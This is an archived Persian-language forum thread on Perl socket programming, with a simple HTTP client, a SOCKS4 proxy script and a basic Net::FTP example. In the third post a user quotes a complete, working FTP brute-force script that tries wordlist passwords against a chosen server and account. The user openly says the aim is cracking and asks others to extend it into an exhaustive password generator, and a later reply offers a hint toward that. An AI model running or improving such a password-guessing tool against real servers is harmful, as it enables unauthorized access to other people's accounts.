PDA

View Full Version : برنامه نویسی سوکت در پرل



Sirus-v
یک شنبه 01 خرداد 1384, 18:27 عصر
سلام دوستان

از انجایی که پرل یکی از زبان های مناسب جهت نوشتن برنامه های سوکت ( از نوع Sream ) می باشد و بنده نیز در حال یادگیری این زبان به این صورت هستم این سوال برای من پیش امد که :

چطوری بعد از اتصال به یک سرور چند پکت سند کنم ؟؟ من بطور معمول فقط یک پکت می توانم بفرستم و پکت دوم فرستاده نمی شود . ایا باید از تابع خاصی استفاده کنم ؟؟ خوب میشه با تابع close سوکت رو ببندم و دوباره باز کنم ولی بعضی وقت ها این شدنی نیست مثلا موقع کانکت شدن به یک اف تی پی سرور نیاز هست که پکت ها بدون قطع شدن اتصال فرستاده شوند . من همچین کدی واسه فرستادن یک پکت نوشتم و موفق هم بوده : ( این فقط بخش باز کردن و فرستادن پکت هست ) :


my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted\n";

my $http = "HEAD / HTTP/1.0\n\n\n\n";
print "\n";
print $remote $http;
sleep(1);
print "Wait For Sassion ...\n";

while (<$remote>)
{
print $_;
}

با تشکر خدمت اساتید . ( اگه فقط کد هم بدید کارم راه میفته بی سواد نیستم ) مرسی منتظرم .

white fox
دوشنبه 02 خرداد 1384, 16:41 عصر
دوست عزیز...من تو این قسمت خودمم ایراد دارم...
یه سری بزن به سایت www.perlmonks.com برو قسمت code اونجا کدهای نمونه هست...شاید کمکی بهت کرد
به این کد هم یه نیگاهی بنداز..



#!/usr/bin/perl

$|=1; # Run this with Faucet.

#use strict;
use IO::Socket;
use Net::hostent;
use bytes;

my $remote=$ARGV[0];
my $buf, $byte, @head, $up, $user, $err, $kidpid, $sock, $op, $server;
my $destip, $destport, $i;

### Read in first bytes of the Socks header.

read(STDIN,$buf,4);
@head=unpack("CCn",$buf);
read(STDIN,$buf,4);
$ip=inet_ntoa($buf);

$user='';
while(read(STDIN,$buf,1)) {
last unless(ord $buf);
$user .= $buf;
}

### Do some insanity checking.
$err=91; $op=-1; # Assume Not OK...
$destip=pack("N",0); $destport=0;

if($head[0] == 4) { # SOCKS 4
if($head[1] == 1) { # CONNECT
$sock=IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>$head[2]);
if($sock) {
$sock->autoflush(1);
$err=90;
}
} elsif($head[1] == 2) { # BIND
$destport=$$; $destip=inet_aton($remote);
$server=IO::Socket::INET->new(Proto=>'tcp',
LocalPort=>$$,
LocalAddr=>$remote,
Listen=>1,
Reuse=>1);
print pack("CCn",0,90,$destport).$destip;
if($sock=$server->accept()) {
$sock->autoflush(1);
if($sock->peerhost eq $ip) {
$err=90;
} else {
close $sock;
}
}
close $server;
}
}

print pack("CCn",0,$err,$destport).$destip;
exit if($err>90);

die "can't fork: $!" unless defined($kidpid=fork());
if($kidpid) {
while(read($sock,$byte,1)){
print STDOUT $byte;
}
kill("TERM", $kidpid);
} else {
while (read(STDIN,$byte,1)) {
print $sock $byte;
}
}

Sirus-v
چهارشنبه 04 خرداد 1384, 01:30 صبح
سلام دوست عزیز . مرسی از راهنماییت . مسئله ای نیست با هم یاد می گیریم :wink: من می خواستم به FTP کانکت بشم که به لطف Advance Searching تونستم 2 تا سورس پیدا کنم . یکی به یه اف تی پی با یوزر و پسورد کانکت میشه و 2 تا عملیات انجام می ده و اونیکی هم واسه Brute Force اف تی پی هست که یعنی پسوردهارو با سرعت روی یک یوزر از یک سایت تست می کنه تا یکی دراد ( برای هک یا بقولی کرک ) . فقط یه مشکلی داره !! از یک فایل txt واسه پسوردها استفاده می کنه تا پسوردهارو از تو اون دراره . حالا می خوایم اگه بشه بشینیم کاری کنیم که خودش پسورد تولید کنه . با این الگوریتم :

aa ab ac ad ae af ... zz aaa aab aac aad ... zzz ... تا مثلا" 7 رقمی یا همچین حدودی . من قبلا" با ویژوال بیسیک عین همین الگوریتم رو نوشته بودم و تو فروم ها دم عید به عنوان عیدی پخش کردم حالا می خوام با کمک بچه های برنامه نویس روی این پروژه کار کنیم . البته بهش نمیشه گفت پروژه برنامه نویسی فقط واسه اینکه یکم پرلمون راه بیفته . همین . سورس کد اولی :


use Net::FTP;

$ftp = Net::FTP->new("some.host.name", Debug => 0)
or die "Cannot connect to some.host.name: $@";

$ftp->login("anonymous",'-anonymous@')
or die "Cannot login ", $ftp->message;

$ftp->cwd("/pub")
or die "Cannot change working directory ", $ftp->message;

$ftp->get("that.file")
or die "get failed ", $ftp->message;

$ftp->quit;

این که خیلی سادس . اینم دومی :


#!/usr/bin/perl

##################################
### Simple FTP brute forcer ###
### (with file wordlist.txt) ###
### by Azerton 2004 ###
##################################
#DISCLAIMER: This program is for educational use only.
#Don't use it to crack a real server. You could get
#into a lot of trouble. This is just a simple demo
#to show how to use Net::FTP in combination with files.
#Use it at your own risk! Have phun!


use Net::FTP; #include FTP functionality

print "Enter the FTP server I should try to brute force::\n";
chomp($server = <STDIN>);
print "What username do you want to brute force?\n";
chomp($user = <STDIN>);
$ftp = Net::FTP->new("$server"); #Make a new server
die "\nCould not connect: $!" unless $ftp; #host could not be reached


open(WORDLIST, "wordlist.txt") or die "\nCould not open wordlist.txt.
+Exiting...\n"; #Permissions?!
@wordlist=<WORDLIST>; #Assign the wordlist. It should be wordlist.txt

foreach $line (@wordlist){ #read each line of the file, try it as a pa
+ssword



chomp($line);
if($ftp->login("$user","$line"))
{
print "$line is the password for user : $user !\n";
goto start;
}

}
die "Password was not found! Error";
start:
print ">>";
$ftp->cwd('/'); # cwd:Change Working Directory to /
$ftp->get('index.html'); #Example of a command to execute after connec
+tion
#was established
$ftp->quit();


اینم که اصل کاریه . امیدوارم بتونیم رو الگوریتم بروت فورسشون دست ببریم . این دومیه فقط چون همه چیز رو از کاربر خط به خط میگیره یکم طولانیه وگرنه سادست اینم . از ARGV استفاده می کرد بهتر بود :mrgreen:

مرسی . امیدوارم اساتید عزیز نظراتشان را درباره نحوه کد نویسی مطرح کنند

Delphi Skyline
شنبه 18 تیر 1384, 20:38 عصر
با تشکر .
اما یه چیزی : می شه یه مرجع خوب برای پرل بگید ؟

Sirus-v
یک شنبه 19 تیر 1384, 12:15 عصر
** ویرایش شد **
warez activity

nothingelz
پنج شنبه 10 فروردین 1385, 20:20 عصر
فک می کنم با استفاده از
(A..Z)
بتونی مشکلت رو حل کنی !